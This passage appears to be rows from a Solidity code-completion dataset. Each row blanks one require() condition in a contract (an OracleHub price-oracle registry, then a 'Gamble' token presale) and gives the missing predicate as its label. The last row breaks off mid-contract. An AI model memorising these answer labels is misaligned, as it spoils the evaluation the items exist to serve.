comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"OH_COS: Oracle not active" | /**
* Created by Pragma Labs
* SPDX-License-Identifier: BUSL-1.1
*/
pragma solidity ^0.8.13;
import { IChainLinkData } from "./interfaces/IChainLinkData.sol";
import { IOraclesHub } from "./PricingModules/interfaces/IOraclesHub.sol";
import { StringHelpers } from "./utils/StringHelpers.sol";
import { FixedPointMathLib } from "../lib/solmate/src/utils/FixedPointMathLib.sol";
import { Owned } from "lib/solmate/src/auth/Owned.sol";
/**
* @title Oracle Hub
* @author Pragma Labs
* @notice The Oracle Hub stores the information of the Price Oracles and calculates rates of assets.
* @dev Terminology:
* - oracles are named as BaseAsset/QuoteAsset: The oracle rate reflects how much of the QuoteAsset is required to buy 1 unit of the BaseAsset
* - The BaseCurrency is the final currency in which the asset values are denominated.
* This might get confusing since the BaseCurrency is very often the QuoteAsset of a trading.
*/
contract OracleHub is Owned, IOraclesHub {
using FixedPointMathLib for uint256;
/* //////////////////////////////////////////////////////////////
STORAGE
////////////////////////////////////////////////////////////// */
// Map oracle => flag.
mapping(address => bool) public inOracleHub;
// Map oracle => assetInformation.
mapping(address => OracleInformation) public oracleToOracleInformation;
// Struct with additional information for a specific oracle.
struct OracleInformation {
bool isActive; // Flag indicating if the oracle is active or decommissioned.
uint64 oracleUnit; // The unit of the oracle, equal to 10^decimalsOracle.
uint8 quoteAssetBaseCurrency; // A unique identifier for the quote asset if it also is as baseCurrency.
bool quoteAssetIsBaseCurrency; // Flag indicating if the quote asset is also a baseCurrency.
address oracle; // The contract address of the oracle.
address baseAssetAddress; // The contract address of the base asset.
bytes16 baseAsset; // Human readable label for the base asset.
bytes16 quoteAsset; // Human readable label for the quote asset.
}
/* //////////////////////////////////////////////////////////////
EVENTS
////////////////////////////////////////////////////////////// */
event OracleAdded(address indexed oracle, address indexed quoteAsset, bytes16 baseAsset);
event OracleDecommissioned(address indexed oracle, bool isActive);
/* //////////////////////////////////////////////////////////////
CONSTRUCTOR
////////////////////////////////////////////////////////////// */
constructor() Owned(msg.sender) { }
/*///////////////////////////////////////////////////////////////
ORACLE MANAGEMENT
///////////////////////////////////////////////////////////////*/
/**
* @notice Adds a new oracle to the Oracle Hub.
* @param oracleInformation A Struct with information about the Oracle:
* - isActive: Flag indicating if the oracle is active or decommissioned.
* - oracleUnit: The unit of the oracle, equal to 10^decimalsOracle.
* - quoteAssetBaseCurrency: A unique identifier for the quote asset if it also is as baseCurrency,
* 0 by default if the quote asset cannot be used as baseCurrency.
* - quoteAssetIsBaseCurrency: Flag indicating if the quote asset is also a baseCurrency.
* - oracle: The contract address of the oracle.
* - baseAssetAddress: The contract address of the base asset.
* - baseAsset: Human readable label for the base asset.
* - quoteAsset: Human readable label for the quote asset.
* @dev It is not possible to overwrite the information of an existing Oracle in the Oracle Hub.
* @dev Oracles can't have more than 18 decimals.
*/
function addOracle(OracleInformation calldata oracleInformation) external onlyOwner {
}
/**
* @notice Verifies whether a sequence of oracles complies with a predetermined set of criteria.
* @param oracles Array of contract addresses of oracles.
* @param asset The contract address of the base-asset.
* @dev Function will do nothing if all checks pass, but reverts if at least one check fails.
* The following checks are performed:
* - The oracle must be previously added to the Oracle-Hub and must still be active.
* - The first oracle in the series must have asset as base-asset
* - The quote-asset of all oracles must be equal to the base-asset of the next oracle (except for the last oracle in the series).
* - The last oracle in the series must have USD as quote-asset.
*/
function checkOracleSequence(address[] calldata oracles, address asset) external view {
uint256 oracleAddressesLength = oracles.length;
require(oracleAddressesLength > 0, "OH_COS: Min 1 Oracle");
require(oracleAddressesLength <= 3, "OH_COS: Max 3 Oracles");
address oracle;
for (uint256 i; i < oracleAddressesLength;) {
oracle = oracles[i];
require(<FILL_ME>)
if (i == 0) {
require(asset == oracleToOracleInformation[oracle].baseAssetAddress, "OH_COS: No Match First bAsset");
} else {
require(
oracleToOracleInformation[oracles[i - 1]].quoteAsset == oracleToOracleInformation[oracle].baseAsset,
"OH_COS: No Match bAsset and qAsset"
);
}
if (i == oracleAddressesLength - 1) {
require(oracleToOracleInformation[oracle].quoteAsset == "USD", "OH_COS: Last qAsset not USD");
}
unchecked {
++i;
}
}
}
/**
* @notice Sets an oracle to inactive if it is not properly functioning.
* @param oracle The contract address of the oracle to be checked.
* @return success Boolean indicating if the oracle is still in use.
* @dev An inactive oracle will always return a rate of 0.
* @dev Anyone can call this function as part of an oracle failsafe mechanism.
* An oracles can only be decommissioned if it is not performing as intended:
* - A call to the oracle reverts.
* - The oracle returns the minimum value.
* - The oracle didn't update for over a week.
* @dev If the oracle would becomes functionally again (all checks pass), anyone can activate the oracle again.
*/
function decommissionOracle(address oracle) external returns (bool) {
}
/**
* @notice Returns the state of an oracle.
* @param oracle The contract address of the oracle to be checked.
* @return boolean indicating if the oracle is active or not.
*/
function isActive(address oracle) external view returns (bool) {
}
/*///////////////////////////////////////////////////////////////
PRICING LOGIC
///////////////////////////////////////////////////////////////*/
/**
* @notice Returns the rate of a certain asset, denominated in USD or in another BaseCurrency.
* @param oracles Array of contract addresses of oracles.
* @param baseCurrency The BaseCurrency in which the rate is ideally expressed.
* @return rateInUsd The rate of the asset denominated in USD, with 18 Decimals precision.
* @return rateInBaseCurrency The rate of the asset denominated in a BaseCurrency different from USD, with 18 Decimals precision.
* @dev The Function will loop over all oracles-addresses and find the total rate of the asset by
* multiplying the intermediate exchange-rates (max 3) with each other. Oracles can have any Decimals precision smaller than 18.
* All intermediate rates are calculated with a precision of 18 decimals and rounded down.
* Function will overflow if any of the intermediate or the final rate overflows.
* Example of 3 oracles with R1 the first rate with D1 decimals and R2 the second rate with D2 decimals R3...
* - First intermediate rate will overflow when R1 * 10**18 > MAXUINT256.
* - Second rate will overflow when R1 * R2 * 10**(18 - D1) > MAXUINT256.
* - Third and final rate will overflow when R1 * R2 * R3 * 10**(18 - D1 - D2) > MAXUINT256.
* @dev The rate of an asset will be denominated in a baseCurrency different from USD if and only if
* the given baseCurrency is different from USD (baseCurrency is not 0) and one of the intermediate oracles to price the asset has
* the given baseCurrency as quote-asset.
* The rate of an asset will be denominated in USD if the baseCurrency is USD (baseCurrency equals 0) or
* the given baseCurrency is different from USD (baseCurrency is not 0) but none of the oracles to price the asset has
* the given baseCurrency as quote-asset.
* @dev Only one of the two values can be different from 0.
*/
function getRate(address[] memory oracles, uint256 baseCurrency)
external
view
returns (uint256 rateInUsd, uint256 rateInBaseCurrency)
{
}
}
| oracleToOracleInformation[oracle].isActive,"OH_COS: Oracle not active" | 151,830 | oracleToOracleInformation[oracle].isActive |
"OH_COS: No Match bAsset and qAsset" | /**
* Created by Pragma Labs
* SPDX-License-Identifier: BUSL-1.1
*/
pragma solidity ^0.8.13;
import { IChainLinkData } from "./interfaces/IChainLinkData.sol";
import { IOraclesHub } from "./PricingModules/interfaces/IOraclesHub.sol";
import { StringHelpers } from "./utils/StringHelpers.sol";
import { FixedPointMathLib } from "../lib/solmate/src/utils/FixedPointMathLib.sol";
import { Owned } from "lib/solmate/src/auth/Owned.sol";
/**
* @title Oracle Hub
* @author Pragma Labs
* @notice The Oracle Hub stores the information of the Price Oracles and calculates rates of assets.
* @dev Terminology:
* - oracles are named as BaseAsset/QuoteAsset: The oracle rate reflects how much of the QuoteAsset is required to buy 1 unit of the BaseAsset
* - The BaseCurrency is the final currency in which the asset values are denominated.
* This might get confusing since the BaseCurrency is very often the QuoteAsset of a trading.
*/
contract OracleHub is Owned, IOraclesHub {
using FixedPointMathLib for uint256;
/* //////////////////////////////////////////////////////////////
STORAGE
////////////////////////////////////////////////////////////// */
// Map oracle => flag.
mapping(address => bool) public inOracleHub;
// Map oracle => assetInformation.
mapping(address => OracleInformation) public oracleToOracleInformation;
// Struct with additional information for a specific oracle.
struct OracleInformation {
bool isActive; // Flag indicating if the oracle is active or decommissioned.
uint64 oracleUnit; // The unit of the oracle, equal to 10^decimalsOracle.
uint8 quoteAssetBaseCurrency; // A unique identifier for the quote asset if it also is as baseCurrency.
bool quoteAssetIsBaseCurrency; // Flag indicating if the quote asset is also a baseCurrency.
address oracle; // The contract address of the oracle.
address baseAssetAddress; // The contract address of the base asset.
bytes16 baseAsset; // Human readable label for the base asset.
bytes16 quoteAsset; // Human readable label for the quote asset.
}
/* //////////////////////////////////////////////////////////////
EVENTS
////////////////////////////////////////////////////////////// */
event OracleAdded(address indexed oracle, address indexed quoteAsset, bytes16 baseAsset);
event OracleDecommissioned(address indexed oracle, bool isActive);
/* //////////////////////////////////////////////////////////////
CONSTRUCTOR
////////////////////////////////////////////////////////////// */
constructor() Owned(msg.sender) { }
/*///////////////////////////////////////////////////////////////
ORACLE MANAGEMENT
///////////////////////////////////////////////////////////////*/
/**
* @notice Adds a new oracle to the Oracle Hub.
* @param oracleInformation A Struct with information about the Oracle:
* - isActive: Flag indicating if the oracle is active or decommissioned.
* - oracleUnit: The unit of the oracle, equal to 10^decimalsOracle.
* - quoteAssetBaseCurrency: A unique identifier for the quote asset if it also is as baseCurrency,
* 0 by default if the quote asset cannot be used as baseCurrency.
* - quoteAssetIsBaseCurrency: Flag indicating if the quote asset is also a baseCurrency.
* - oracle: The contract address of the oracle.
* - baseAssetAddress: The contract address of the base asset.
* - baseAsset: Human readable label for the base asset.
* - quoteAsset: Human readable label for the quote asset.
* @dev It is not possible to overwrite the information of an existing Oracle in the Oracle Hub.
* @dev Oracles can't have more than 18 decimals.
*/
function addOracle(OracleInformation calldata oracleInformation) external onlyOwner {
}
/**
* @notice Verifies whether a sequence of oracles complies with a predetermined set of criteria.
* @param oracles Array of contract addresses of oracles.
* @param asset The contract address of the base-asset.
* @dev Function will do nothing if all checks pass, but reverts if at least one check fails.
* The following checks are performed:
* - The oracle must be previously added to the Oracle-Hub and must still be active.
* - The first oracle in the series must have asset as base-asset
* - The quote-asset of all oracles must be equal to the base-asset of the next oracle (except for the last oracle in the series).
* - The last oracle in the series must have USD as quote-asset.
*/
function checkOracleSequence(address[] calldata oracles, address asset) external view {
uint256 oracleAddressesLength = oracles.length;
require(oracleAddressesLength > 0, "OH_COS: Min 1 Oracle");
require(oracleAddressesLength <= 3, "OH_COS: Max 3 Oracles");
address oracle;
for (uint256 i; i < oracleAddressesLength;) {
oracle = oracles[i];
require(oracleToOracleInformation[oracle].isActive, "OH_COS: Oracle not active");
if (i == 0) {
require(asset == oracleToOracleInformation[oracle].baseAssetAddress, "OH_COS: No Match First bAsset");
} else {
require(<FILL_ME>)
}
if (i == oracleAddressesLength - 1) {
require(oracleToOracleInformation[oracle].quoteAsset == "USD", "OH_COS: Last qAsset not USD");
}
unchecked {
++i;
}
}
}
/**
* @notice Sets an oracle to inactive if it is not properly functioning.
* @param oracle The contract address of the oracle to be checked.
* @return success Boolean indicating if the oracle is still in use.
* @dev An inactive oracle will always return a rate of 0.
* @dev Anyone can call this function as part of an oracle failsafe mechanism.
* An oracles can only be decommissioned if it is not performing as intended:
* - A call to the oracle reverts.
* - The oracle returns the minimum value.
* - The oracle didn't update for over a week.
* @dev If the oracle would becomes functionally again (all checks pass), anyone can activate the oracle again.
*/
function decommissionOracle(address oracle) external returns (bool) {
}
/**
* @notice Returns the state of an oracle.
* @param oracle The contract address of the oracle to be checked.
* @return boolean indicating if the oracle is active or not.
*/
function isActive(address oracle) external view returns (bool) {
}
/*///////////////////////////////////////////////////////////////
PRICING LOGIC
///////////////////////////////////////////////////////////////*/
/**
* @notice Returns the rate of a certain asset, denominated in USD or in another BaseCurrency.
* @param oracles Array of contract addresses of oracles.
* @param baseCurrency The BaseCurrency in which the rate is ideally expressed.
* @return rateInUsd The rate of the asset denominated in USD, with 18 Decimals precision.
* @return rateInBaseCurrency The rate of the asset denominated in a BaseCurrency different from USD, with 18 Decimals precision.
* @dev The Function will loop over all oracles-addresses and find the total rate of the asset by
* multiplying the intermediate exchange-rates (max 3) with each other. Oracles can have any Decimals precision smaller than 18.
* All intermediate rates are calculated with a precision of 18 decimals and rounded down.
* Function will overflow if any of the intermediate or the final rate overflows.
* Example of 3 oracles with R1 the first rate with D1 decimals and R2 the second rate with D2 decimals R3...
* - First intermediate rate will overflow when R1 * 10**18 > MAXUINT256.
* - Second rate will overflow when R1 * R2 * 10**(18 - D1) > MAXUINT256.
* - Third and final rate will overflow when R1 * R2 * R3 * 10**(18 - D1 - D2) > MAXUINT256.
* @dev The rate of an asset will be denominated in a baseCurrency different from USD if and only if
* the given baseCurrency is different from USD (baseCurrency is not 0) and one of the intermediate oracles to price the asset has
* the given baseCurrency as quote-asset.
* The rate of an asset will be denominated in USD if the baseCurrency is USD (baseCurrency equals 0) or
* the given baseCurrency is different from USD (baseCurrency is not 0) but none of the oracles to price the asset has
* the given baseCurrency as quote-asset.
* @dev Only one of the two values can be different from 0.
*/
function getRate(address[] memory oracles, uint256 baseCurrency)
external
view
returns (uint256 rateInUsd, uint256 rateInBaseCurrency)
{
}
}
| oracleToOracleInformation[oracles[i-1]].quoteAsset==oracleToOracleInformation[oracle].baseAsset,"OH_COS: No Match bAsset and qAsset" | 151,830 | oracleToOracleInformation[oracles[i-1]].quoteAsset==oracleToOracleInformation[oracle].baseAsset |
"OH_COS: Last qAsset not USD" | /**
* Created by Pragma Labs
* SPDX-License-Identifier: BUSL-1.1
*/
pragma solidity ^0.8.13;
import { IChainLinkData } from "./interfaces/IChainLinkData.sol";
import { IOraclesHub } from "./PricingModules/interfaces/IOraclesHub.sol";
import { StringHelpers } from "./utils/StringHelpers.sol";
import { FixedPointMathLib } from "../lib/solmate/src/utils/FixedPointMathLib.sol";
import { Owned } from "lib/solmate/src/auth/Owned.sol";
/**
* @title Oracle Hub
* @author Pragma Labs
* @notice The Oracle Hub stores the information of the Price Oracles and calculates rates of assets.
* @dev Terminology:
* - oracles are named as BaseAsset/QuoteAsset: The oracle rate reflects how much of the QuoteAsset is required to buy 1 unit of the BaseAsset
* - The BaseCurrency is the final currency in which the asset values are denominated.
* This might get confusing since the BaseCurrency is very often the QuoteAsset of a trading.
*/
contract OracleHub is Owned, IOraclesHub {
using FixedPointMathLib for uint256;
/* //////////////////////////////////////////////////////////////
STORAGE
////////////////////////////////////////////////////////////// */
// Map oracle => flag.
mapping(address => bool) public inOracleHub;
// Map oracle => assetInformation.
mapping(address => OracleInformation) public oracleToOracleInformation;
// Struct with additional information for a specific oracle.
struct OracleInformation {
bool isActive; // Flag indicating if the oracle is active or decommissioned.
uint64 oracleUnit; // The unit of the oracle, equal to 10^decimalsOracle.
uint8 quoteAssetBaseCurrency; // A unique identifier for the quote asset if it also is as baseCurrency.
bool quoteAssetIsBaseCurrency; // Flag indicating if the quote asset is also a baseCurrency.
address oracle; // The contract address of the oracle.
address baseAssetAddress; // The contract address of the base asset.
bytes16 baseAsset; // Human readable label for the base asset.
bytes16 quoteAsset; // Human readable label for the quote asset.
}
/* //////////////////////////////////////////////////////////////
EVENTS
////////////////////////////////////////////////////////////// */
event OracleAdded(address indexed oracle, address indexed quoteAsset, bytes16 baseAsset);
event OracleDecommissioned(address indexed oracle, bool isActive);
/* //////////////////////////////////////////////////////////////
CONSTRUCTOR
////////////////////////////////////////////////////////////// */
constructor() Owned(msg.sender) { }
/*///////////////////////////////////////////////////////////////
ORACLE MANAGEMENT
///////////////////////////////////////////////////////////////*/
/**
* @notice Adds a new oracle to the Oracle Hub.
* @param oracleInformation A Struct with information about the Oracle:
* - isActive: Flag indicating if the oracle is active or decommissioned.
* - oracleUnit: The unit of the oracle, equal to 10^decimalsOracle.
* - quoteAssetBaseCurrency: A unique identifier for the quote asset if it also is as baseCurrency,
* 0 by default if the quote asset cannot be used as baseCurrency.
* - quoteAssetIsBaseCurrency: Flag indicating if the quote asset is also a baseCurrency.
* - oracle: The contract address of the oracle.
* - baseAssetAddress: The contract address of the base asset.
* - baseAsset: Human readable label for the base asset.
* - quoteAsset: Human readable label for the quote asset.
* @dev It is not possible to overwrite the information of an existing Oracle in the Oracle Hub.
* @dev Oracles can't have more than 18 decimals.
*/
function addOracle(OracleInformation calldata oracleInformation) external onlyOwner {
}
/**
* @notice Verifies whether a sequence of oracles complies with a predetermined set of criteria.
* @param oracles Array of contract addresses of oracles.
* @param asset The contract address of the base-asset.
* @dev Function will do nothing if all checks pass, but reverts if at least one check fails.
* The following checks are performed:
* - The oracle must be previously added to the Oracle-Hub and must still be active.
* - The first oracle in the series must have asset as base-asset
* - The quote-asset of all oracles must be equal to the base-asset of the next oracle (except for the last oracle in the series).
* - The last oracle in the series must have USD as quote-asset.
*/
function checkOracleSequence(address[] calldata oracles, address asset) external view {
uint256 oracleAddressesLength = oracles.length;
require(oracleAddressesLength > 0, "OH_COS: Min 1 Oracle");
require(oracleAddressesLength <= 3, "OH_COS: Max 3 Oracles");
address oracle;
for (uint256 i; i < oracleAddressesLength;) {
oracle = oracles[i];
require(oracleToOracleInformation[oracle].isActive, "OH_COS: Oracle not active");
if (i == 0) {
require(asset == oracleToOracleInformation[oracle].baseAssetAddress, "OH_COS: No Match First bAsset");
} else {
require(
oracleToOracleInformation[oracles[i - 1]].quoteAsset == oracleToOracleInformation[oracle].baseAsset,
"OH_COS: No Match bAsset and qAsset"
);
}
if (i == oracleAddressesLength - 1) {
require(<FILL_ME>)
}
unchecked {
++i;
}
}
}
/**
* @notice Sets an oracle to inactive if it is not properly functioning.
* @param oracle The contract address of the oracle to be checked.
* @return success Boolean indicating if the oracle is still in use.
* @dev An inactive oracle will always return a rate of 0.
* @dev Anyone can call this function as part of an oracle failsafe mechanism.
* An oracles can only be decommissioned if it is not performing as intended:
* - A call to the oracle reverts.
* - The oracle returns the minimum value.
* - The oracle didn't update for over a week.
* @dev If the oracle would becomes functionally again (all checks pass), anyone can activate the oracle again.
*/
function decommissionOracle(address oracle) external returns (bool) {
}
/**
* @notice Returns the state of an oracle.
* @param oracle The contract address of the oracle to be checked.
* @return boolean indicating if the oracle is active or not.
*/
function isActive(address oracle) external view returns (bool) {
}
/*///////////////////////////////////////////////////////////////
PRICING LOGIC
///////////////////////////////////////////////////////////////*/
/**
* @notice Returns the rate of a certain asset, denominated in USD or in another BaseCurrency.
* @param oracles Array of contract addresses of oracles.
* @param baseCurrency The BaseCurrency in which the rate is ideally expressed.
* @return rateInUsd The rate of the asset denominated in USD, with 18 Decimals precision.
* @return rateInBaseCurrency The rate of the asset denominated in a BaseCurrency different from USD, with 18 Decimals precision.
* @dev The Function will loop over all oracles-addresses and find the total rate of the asset by
* multiplying the intermediate exchange-rates (max 3) with each other. Oracles can have any Decimals precision smaller than 18.
* All intermediate rates are calculated with a precision of 18 decimals and rounded down.
* Function will overflow if any of the intermediate or the final rate overflows.
* Example of 3 oracles with R1 the first rate with D1 decimals and R2 the second rate with D2 decimals R3...
* - First intermediate rate will overflow when R1 * 10**18 > MAXUINT256.
* - Second rate will overflow when R1 * R2 * 10**(18 - D1) > MAXUINT256.
* - Third and final rate will overflow when R1 * R2 * R3 * 10**(18 - D1 - D2) > MAXUINT256.
* @dev The rate of an asset will be denominated in a baseCurrency different from USD if and only if
* the given baseCurrency is different from USD (baseCurrency is not 0) and one of the intermediate oracles to price the asset has
* the given baseCurrency as quote-asset.
* The rate of an asset will be denominated in USD if the baseCurrency is USD (baseCurrency equals 0) or
* the given baseCurrency is different from USD (baseCurrency is not 0) but none of the oracles to price the asset has
* the given baseCurrency as quote-asset.
* @dev Only one of the two values can be different from 0.
*/
function getRate(address[] memory oracles, uint256 baseCurrency)
external
view
returns (uint256 rateInUsd, uint256 rateInBaseCurrency)
{
}
}
| oracleToOracleInformation[oracle].quoteAsset=="USD","OH_COS: Last qAsset not USD" | 151,830 | oracleToOracleInformation[oracle].quoteAsset=="USD" |
"OH_DO: Oracle not in Hub" | /**
* Created by Pragma Labs
* SPDX-License-Identifier: BUSL-1.1
*/
pragma solidity ^0.8.13;
import { IChainLinkData } from "./interfaces/IChainLinkData.sol";
import { IOraclesHub } from "./PricingModules/interfaces/IOraclesHub.sol";
import { StringHelpers } from "./utils/StringHelpers.sol";
import { FixedPointMathLib } from "../lib/solmate/src/utils/FixedPointMathLib.sol";
import { Owned } from "lib/solmate/src/auth/Owned.sol";
/**
* @title Oracle Hub
* @author Pragma Labs
* @notice The Oracle Hub stores the information of the Price Oracles and calculates rates of assets.
* @dev Terminology:
* - oracles are named as BaseAsset/QuoteAsset: The oracle rate reflects how much of the QuoteAsset is required to buy 1 unit of the BaseAsset
* - The BaseCurrency is the final currency in which the asset values are denominated.
* This might get confusing since the BaseCurrency is very often the QuoteAsset of a trading.
*/
contract OracleHub is Owned, IOraclesHub {
using FixedPointMathLib for uint256;
/* //////////////////////////////////////////////////////////////
STORAGE
////////////////////////////////////////////////////////////// */
// Map oracle => flag.
mapping(address => bool) public inOracleHub;
// Map oracle => assetInformation.
mapping(address => OracleInformation) public oracleToOracleInformation;
// Struct with additional information for a specific oracle.
struct OracleInformation {
bool isActive; // Flag indicating if the oracle is active or decommissioned.
uint64 oracleUnit; // The unit of the oracle, equal to 10^decimalsOracle.
uint8 quoteAssetBaseCurrency; // A unique identifier for the quote asset if it also is as baseCurrency.
bool quoteAssetIsBaseCurrency; // Flag indicating if the quote asset is also a baseCurrency.
address oracle; // The contract address of the oracle.
address baseAssetAddress; // The contract address of the base asset.
bytes16 baseAsset; // Human readable label for the base asset.
bytes16 quoteAsset; // Human readable label for the quote asset.
}
/* //////////////////////////////////////////////////////////////
EVENTS
////////////////////////////////////////////////////////////// */
event OracleAdded(address indexed oracle, address indexed quoteAsset, bytes16 baseAsset);
event OracleDecommissioned(address indexed oracle, bool isActive);
/* //////////////////////////////////////////////////////////////
CONSTRUCTOR
////////////////////////////////////////////////////////////// */
constructor() Owned(msg.sender) { }
/*///////////////////////////////////////////////////////////////
ORACLE MANAGEMENT
///////////////////////////////////////////////////////////////*/
/**
* @notice Adds a new oracle to the Oracle Hub.
* @param oracleInformation A Struct with information about the Oracle:
* - isActive: Flag indicating if the oracle is active or decommissioned.
* - oracleUnit: The unit of the oracle, equal to 10^decimalsOracle.
* - quoteAssetBaseCurrency: A unique identifier for the quote asset if it also is as baseCurrency,
* 0 by default if the quote asset cannot be used as baseCurrency.
* - quoteAssetIsBaseCurrency: Flag indicating if the quote asset is also a baseCurrency.
* - oracle: The contract address of the oracle.
* - baseAssetAddress: The contract address of the base asset.
* - baseAsset: Human readable label for the base asset.
* - quoteAsset: Human readable label for the quote asset.
* @dev It is not possible to overwrite the information of an existing Oracle in the Oracle Hub.
* @dev Oracles can't have more than 18 decimals.
*/
function addOracle(OracleInformation calldata oracleInformation) external onlyOwner {
}
/**
* @notice Verifies whether a sequence of oracles complies with a predetermined set of criteria.
* @param oracles Array of contract addresses of oracles.
* @param asset The contract address of the base-asset.
* @dev Function will do nothing if all checks pass, but reverts if at least one check fails.
* The following checks are performed:
* - The oracle must be previously added to the Oracle-Hub and must still be active.
* - The first oracle in the series must have asset as base-asset
* - The quote-asset of all oracles must be equal to the base-asset of the next oracle (except for the last oracle in the series).
* - The last oracle in the series must have USD as quote-asset.
*/
function checkOracleSequence(address[] calldata oracles, address asset) external view {
}
/**
* @notice Sets an oracle to inactive if it is not properly functioning.
* @param oracle The contract address of the oracle to be checked.
* @return success Boolean indicating if the oracle is still in use.
* @dev An inactive oracle will always return a rate of 0.
* @dev Anyone can call this function as part of an oracle failsafe mechanism.
* An oracles can only be decommissioned if it is not performing as intended:
* - A call to the oracle reverts.
* - The oracle returns the minimum value.
* - The oracle didn't update for over a week.
* @dev If the oracle would becomes functionally again (all checks pass), anyone can activate the oracle again.
*/
function decommissionOracle(address oracle) external returns (bool) {
require(<FILL_ME>)
bool oracleIsInUse = true;
try IChainLinkData(oracle).latestRoundData() returns (uint80, int256 answer, uint256, uint256 updatedAt, uint80)
{
int192 min = IChainLinkData(IChainLinkData(oracle).aggregator()).minAnswer();
if (answer <= min) {
oracleIsInUse = false;
} else if (updatedAt <= block.timestamp - 1 weeks) {
oracleIsInUse = false;
}
} catch {
oracleIsInUse = false;
}
oracleToOracleInformation[oracle].isActive = oracleIsInUse;
emit OracleDecommissioned(oracle, oracleIsInUse);
return oracleIsInUse;
}
/**
* @notice Returns the state of an oracle.
* @param oracle The contract address of the oracle to be checked.
* @return boolean indicating if the oracle is active or not.
*/
function isActive(address oracle) external view returns (bool) {
}
/*///////////////////////////////////////////////////////////////
PRICING LOGIC
///////////////////////////////////////////////////////////////*/
/**
* @notice Returns the rate of a certain asset, denominated in USD or in another BaseCurrency.
* @param oracles Array of contract addresses of oracles.
* @param baseCurrency The BaseCurrency in which the rate is ideally expressed.
* @return rateInUsd The rate of the asset denominated in USD, with 18 Decimals precision.
* @return rateInBaseCurrency The rate of the asset denominated in a BaseCurrency different from USD, with 18 Decimals precision.
* @dev The Function will loop over all oracles-addresses and find the total rate of the asset by
* multiplying the intermediate exchange-rates (max 3) with each other. Oracles can have any Decimals precision smaller than 18.
* All intermediate rates are calculated with a precision of 18 decimals and rounded down.
* Function will overflow if any of the intermediate or the final rate overflows.
* Example of 3 oracles with R1 the first rate with D1 decimals and R2 the second rate with D2 decimals R3...
* - First intermediate rate will overflow when R1 * 10**18 > MAXUINT256.
* - Second rate will overflow when R1 * R2 * 10**(18 - D1) > MAXUINT256.
* - Third and final rate will overflow when R1 * R2 * R3 * 10**(18 - D1 - D2) > MAXUINT256.
* @dev The rate of an asset will be denominated in a baseCurrency different from USD if and only if
* the given baseCurrency is different from USD (baseCurrency is not 0) and one of the intermediate oracles to price the asset has
* the given baseCurrency as quote-asset.
* The rate of an asset will be denominated in USD if the baseCurrency is USD (baseCurrency equals 0) or
* the given baseCurrency is different from USD (baseCurrency is not 0) but none of the oracles to price the asset has
* the given baseCurrency as quote-asset.
* @dev Only one of the two values can be different from 0.
*/
function getRate(address[] memory oracles, uint256 baseCurrency)
external
view
returns (uint256 rateInUsd, uint256 rateInBaseCurrency)
{
}
}
| inOracleHub[oracle],"OH_DO: Oracle not in Hub" | 151,830 | inOracleHub[oracle] |
"Contribution exceeds per wallet limit" | // SPDX-License-Identifier: MIT
// Twitter: https://twitter.com/gamblecoin_eth
// Telegram: https://t.me/gamblecoin_eth
// .------..------..------..------..------..------.
// |G.--. ||A.--. ||M.--. ||B.--. ||L.--. ||E.--. |
// | :/\: || (\/) || (\/) || :(): || :/\: || (\/) |
// | :\/: || :\/: || :\/: || ()() || (__) || :\/: |
// | '--'G|| '--'A|| '--'M|| '--'B|| '--'L|| '--'E|
// `------'`------'`------'`------'`------'`------'
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Gamble is ERC20, Ownable {
constructor() ERC20("Gamble", "GAMBLE"){}
// Turn on/off contributions
bool public allowContributions = false;
// Minimum contribution to participate in the presale
uint256 public constant MIN_CONTRIBUTION = .01 ether;
// Maximum contribution for each wallet
uint256 public constant MAX_CONTRIBUTION = .5 ether;
// Maximum amount of ETH that this contract will accept for presale
uint256 public constant HARD_CAP = 25 ether;
// Total number of tokens available
uint256 public constant MAX_SUPPLY = 88888888 * 10 ** 18;
// 50% of tokens reserved for presale
uint256 public constant PRESALE_SUPPLY = 44444444 * 10 ** 18;
// 50% of tokens reserved for LP and BURN
uint256 public constant RESERVE_MAX_SUPPLY = 44444444 * 10 ** 18;
// Total contributions for the presale
uint256 public TOTAL_CONTRIBUTED;
// Total number of contributors
uint256 public NUMBER_OF_CONTRIBUTORS;
// Each contributors address and amount
struct Contribution {
address addr;
uint256 amount;
}
// Mapping of contributions
mapping(uint256 => Contribution) public contribution;
// Index for a contributor address
mapping(address => uint256) public contributor;
// Presale
function sendToPresale() public payable {
require(allowContributions, "Contributions not allowed");
require(msg.value >= MIN_CONTRIBUTION, "Contribution too low");
uint256 currentContribution = contribution[contributor[msg.sender]].amount;
uint256 contributionIndex;
require(<FILL_ME>)
require(msg.value + TOTAL_CONTRIBUTED <= HARD_CAP, "Contribution exceeds hard cap");
if (contributor[msg.sender] != 0) {
// Old contributor
contributionIndex = contributor[msg.sender];
} else {
// New contributor
contributionIndex = NUMBER_OF_CONTRIBUTORS + 1;
NUMBER_OF_CONTRIBUTORS++;
}
TOTAL_CONTRIBUTED = TOTAL_CONTRIBUTED + msg.value;
contributor[msg.sender] = contributionIndex;
contribution[contributionIndex].addr = msg.sender;
contribution[contributionIndex].amount += msg.value;
}
// Send tokens to contributors
function airdropPresale() external onlyOwner {
}
// Mint remaining tokens
function devMint() external onlyOwner {
}
// On/Off presale
function setAllowContributions(bool _value) external onlyOwner {
}
// Refund ETH
function refundEveryone() external onlyOwner {
}
// Withdraw funds
function withdrawBalance(address payable _address) external onlyOwner {
}
}
| msg.value+currentContribution<=MAX_CONTRIBUTION,"Contribution exceeds per wallet limit" | 151,882 | msg.value+currentContribution<=MAX_CONTRIBUTION |
"Contribution exceeds hard cap" | // SPDX-License-Identifier: MIT
// Twitter: https://twitter.com/gamblecoin_eth
// Telegram: https://t.me/gamblecoin_eth
// .------..------..------..------..------..------.
// |G.--. ||A.--. ||M.--. ||B.--. ||L.--. ||E.--. |
// | :/\: || (\/) || (\/) || :(): || :/\: || (\/) |
// | :\/: || :\/: || :\/: || ()() || (__) || :\/: |
// | '--'G|| '--'A|| '--'M|| '--'B|| '--'L|| '--'E|
// `------'`------'`------'`------'`------'`------'
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Gamble is ERC20, Ownable {
constructor() ERC20("Gamble", "GAMBLE"){}
// Turn on/off contributions
bool public allowContributions = false;
// Minimum contribution to participate in the presale
uint256 public constant MIN_CONTRIBUTION = .01 ether;
